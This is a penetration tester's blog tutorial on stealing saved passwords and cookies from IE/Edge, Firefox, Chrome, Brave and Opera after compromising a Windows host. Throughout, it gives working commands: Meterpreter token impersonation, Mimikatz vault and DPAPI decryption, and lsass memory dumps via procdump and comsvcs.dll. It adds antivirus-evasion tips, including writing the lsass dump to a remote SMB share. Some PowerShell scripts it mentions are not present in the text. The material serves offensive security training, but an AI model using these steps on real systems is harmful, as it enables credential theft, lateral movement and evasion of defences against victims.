Stealing Saved Browser Passwords: Your New Favorite Post-Exploitation Technique

Kyle Mistele
8 min readJun 24, 2021

Overview

People reuse passwords, and most people will never stop doing so, despite how frequently they are reminded not to. As every pentester knows, password reuse is commonplace, and we love few things more than finding caches of passwords!

My favorite place to find such caches is in browsers — most modern browsers will either save or offer to save your passwords for you, and some even save them by default! Lots of people take advantage of this convenient feature, which results in their passwords being stored on-disk in their browser’s application data files.

I have had great luck in the past with either using saved browser passwords to move laterally or to pivot into other applications and services. In this article, I’m going to go over the toolset and methodology I use for dumping saved passwords from browsers. Specifically, I’m going to cover:

  • IE/Edge
  • Firefox
  • Chrome/Brave/Opera

Stealing passwords saved in IE/Edge

Note: I have not tested this on newer versions of Edge. Older versions use the credential vault (like IE), newer ones cloud save them to Microsoft servers if you’re logged into a Microsoft account. It’s still worth checking either way.

Requirements

To dump creds from IE and old versions of Edge, you need one of the following:

  • a shell as the user you want to steal credentials from
  • NT Authority\System permissions

Dumping creds with PowerShell

You can use the following PowerShell commands to list the saved login, password, and URLs that are stored in your user’s credential vault:

Alternatively, you can drop the following one-liner:

Props for this technique go to @CyberWarship

Dumping creds from an NT Authority\System shell

You have a couple of options for this attack if you’re running in a high-integrity shell. If you happen to be running Meterpreter, you can use the following commands to impersonate a user:

load incognito
list tokens -u
impersonate_token <SOME_TOKEN>
shell

Other C2 frameworks may provide a similar feature. Then, you can use the PowerShell commands above like normal.

Alternatively, you can create a scheduled task that will execute as the desired user(s). First, create the following PowerShell script on the victim host in a place that the user you’re targeting will be able to read (C:\users\public\documents is always a good place). Note that this script is modified from the version provided above.

Then, execute the following command to schedule and run a task as the user to execute the PowerShell script created in the previous step:

Make sure to modify the path to the script, the trigger time, the domain name, and the user name! Then, once the task has been executed, browse to where you wrote the file, and you can read all the user’s saved IE/Edge credentials.

Alternatively, you can use Mimikatz on the target host, or on a memory dump of lsass.exe:

vault::cred
vault::list

or

sekurlsa::minidump lsass.dmp # load the memory dump
vault::cred
vault::list

Stealing Passwords saved in Firefox

How it works: depending on the version, Firefox will store logins and passwords in the following files:

  • Firefox < 32 (key3.db, signons.sqlite)
  • Firefox >=32 (key3.db, logins.json)
  • Firefox >=58.0.2 (key4.db, logins.json)
  • Firefox >=75.0 (sha1 pbkdf2 sha256 aes256 cbc used by key4.db, logins.json)
  • at least Thunderbird 68.7.0, likely other versions

Note the key file stores the encryption key that’s used to encrypt the values in the sqlite/json files. This attack actually can be performed offline, as long as we have the files that we need.

Grabbing the key and login files

The default file path that these files are stored in is predictable, but it does contain a random string, so grabbing these files isn’t super easy to script out:

%USERPROFILE%\appdata\roaming\mozilla\firefox\profiles\<RANDOMSTRING>.default

Copy off all the files in this directory.

Using firepwd to decrypt logins

The tool that I use to decrypt these files is called firewpd. It’s pretty easy to set up, you just need python 3 and pip:

python3 -m pip install --upgrade pip

Clone the repository, and then run the following commands:

cd firepwd
pip3 install -r requirements.txt

Once it’s set up, drop the files you got in the firepwd/ directory, and run it:

python3 firepwd.py # detect files in the current directory
python3 firepwd.py -d alternative_directory/ # trailing "/" required

Note that Firefox has the option to set a master password to protect logins. I have never seen someone actually use this. If one is in use, however, you need to specify it with the -p option.

Stealing Passwords Saved in Chrome/Brave/Opera

Chrome, Brave, and Opera are all built on Chromium, and they all operate under the hood more or less the same. As a result, they all store passwords more or less the same.

In this section, I’m going to use “Chrome” to refer to the browser, but the process works for Chrome, Brave, and Opera.

Requirements

One of the following:

  • PowerShell and a copy of System.Data.Sqlite.dll
  • Mimikatz

And one of the following:

  • privileges as the user you want to dump credentials for
  • Administrator access or NT Authority\System access

Caveat

The bad news: Chrome et al. use the Win32 DPAPI (specifically, CryptProtectData and CryptUnprotectData) to protect login passwords. This can make it somewhat annoying to decrypt these passwords since any tooling that you’re using needs to be able to consume the Win32 API. That means you’re probably looking at PowerShell, C, C#, or Rust (which supports the Win32 API as of a few weeks ago), and you’re most likely not going to be able to perform this attack offline on a Linux host — the API is transparent and its inner workings are not well-documented.

The good news:

As I wrote, you need access to the DPAPI to perform this attack. You do not, however, need to use the DPAPI on the host you’re stealing the passwords from. If you can steal the requisite files (more on that in a second) and the DPAPI keys you need, then you can actually drop those onto a different Windows host (your Windows host, for example), and use its DPAPI functionality.

Important Files

You need the following files from the user’s profile:

Chrome:

%USERPROFILE%\appdata\local\google\chrome\user data\PROFILE\Login Data

%USERPROFILE%\appdata\local\google\chrome\user data\PROFILE\Cookies

Brave:

%USERPROFILE%\appdata\local\BraveSoftware\Brave-Browser\user data\PROFILE\Login Data

%USERPROFILE%\appdata\local\BraveSoftware\Brave-Browser\user data\PROFILE\Cookies

Opera:

%USERPROFILE%\appdata\roaming\Opera Software\Opera Stable\Login Data

%USERPROFILE%\appdata\local\Opera Software\Opera Stable\Cookies

(Note that if your Opera version is different, you might see something other than “Opera Stable”)

Make sure to replace PROFILE with the name of the user profile you’re targeting (some of these browsers support multiple user profiles). The default value, if one is not configured, is Default .

If chrome is running, you need to copy these files off to somewhere else, or kill chrome (or whatever other browser you’re trying to use) and its child processes: taskkill /f /t /im chrome.exe (force kill, kill child processes, use image name).

Using PowerShell to dump passwords and cookies

Props to @0gtweet for this method — it’s a lot simpler than the method using Mimikatz before. You’re going to need a copy of System.Data.SQLite.dll for this tool, and you’ll need to modify the PowerShell script to include the relative path to it. Make sure to read my addendum below this gist before running it!

Make sure to change the file path to the SQLite DLL. If you run the script without updating it or the script can’t find it, it’ll tell you to download it.

You also need to change the path to the login data file if chrome is running or if you’re trying to dump passwords from Brave or Opera.

You can find the full list of DLLs here (make sure to get the precompiled one for your architecture — it’s in a zip file), although most likely this is the one you’ll need (for x64 Windows).

Download the zip, unzip it, drop the DLL on your target host, and update and run the PowerShell script.

Using Mimikatz to dump passwords and cookies

This attack can be performed online or offline, but if you’re doing it offline it rights to dump lsass.exe and therefore requires NT Authority\System privileges. It may or may not require System privileges to perform the attack online (I always do it offline so that I can just use procdump on the target instead of dealing with sneaking Mimikatz past antivirus).

@Harmj0y has a great in-depth writeup here, below is the TL;DR version.

Note that while I’ve used “Chrome” to stand in for Chrome, Brave, and Opera in this section, in the Mimikatz commands this is not the case. The Mimikatz commands should be interpreted literally in this regard: you should always use dpapi::chrome even if you’re trying to decrypt Brave or Opera files.

  1. (If performing the attack offline) Dump lsass.exe:

If you’re using procdump, I recommend using the option to dump lsass.exe via PID rather than image name — apparently, sometimes Defender will flag on the dump if you use the image name, but the PID tends to get past it for some reason.

Alternatively, you can use PowerShell and runDLL32.exe instead of procdump. This also tends to be good at getting past antivirus in the tests I did.

# use procdump with the PID of lsass rather than the imagename 
tasklist /fi "Imagename eq lsass.exe"
procdump -accepteula -ma PID_of_lsass dumpfile.dmp
# use powershell and runDLL32
powershell -c rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id C:\users\public\dump.dmp full

Sometimes, antivirus won’t stop you from dumping lsass but will catch the dump file and erase it. If this is the case, you can mount an SMB share and dump it over the network to the share — AV won’t erase it there.

net use X: \\MY_SMB_SERVER\MY_SHARE\
powershell -c rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id X:\lsassdumpbin.dmp full

2. Load the memory dump

sekurlsa::minidump lsassdump.dmp

For some reason, you sometimes also need to run sekurlsa::logonpasswords in order to get it to work. No idea why.

3. See what’s available in cookies and logins

Referencing the paths to the cookie and login files, run the following:

dpapi::chrome /in:"C:/path/to/login/data" /unprotect
dpapi::chrome /in:"C:/path/to/cookies" /unprotect

4. Identify which DPAPI master key you need

What you’re looking for here is NTE_BAD_KEY_STATE, needed masterkey is: {KEY} . There may be a couple. the $GUID is the GUID of the key you need.

5. Pull the DPAPI key

sekurlsa::dpapi

This will give you a bunch of results that look something like the following:

[000000000n]
* GUID : {$GUID}
* Time : $TIME
* MasterKey : $LONG_MASTER_KEY
* sha1(key) : $SHA1_KEY

Find the key with the GUID that matches what you found in Step 4, and grab the sha1(key) field.

6. Profit

dpapi::chrome /in:"C:/path/to/login/data" /masterkey:SHA1_KEY_HERE
dpapi::chrome /in:"C:/path/to/cookies" /masterkey:SHA1_KEY_HERE

Conclusion

In this post, I’ve covered how to dump saved browser credentials from IE, Edge, Firefox, Chrome, Opera, and Brave. This is a great tactic for moving laterally across various domain and intranet web applications, and even can result in the ability to pivot into cloud environments and services (AWS/Azure/O365 credentials, anyone?). Questions or comments? Let me know in the comments section below, or ping me on twitter!

--

--

Kyle Mistele

Student, hacker, OSCP. My other computer is your computer.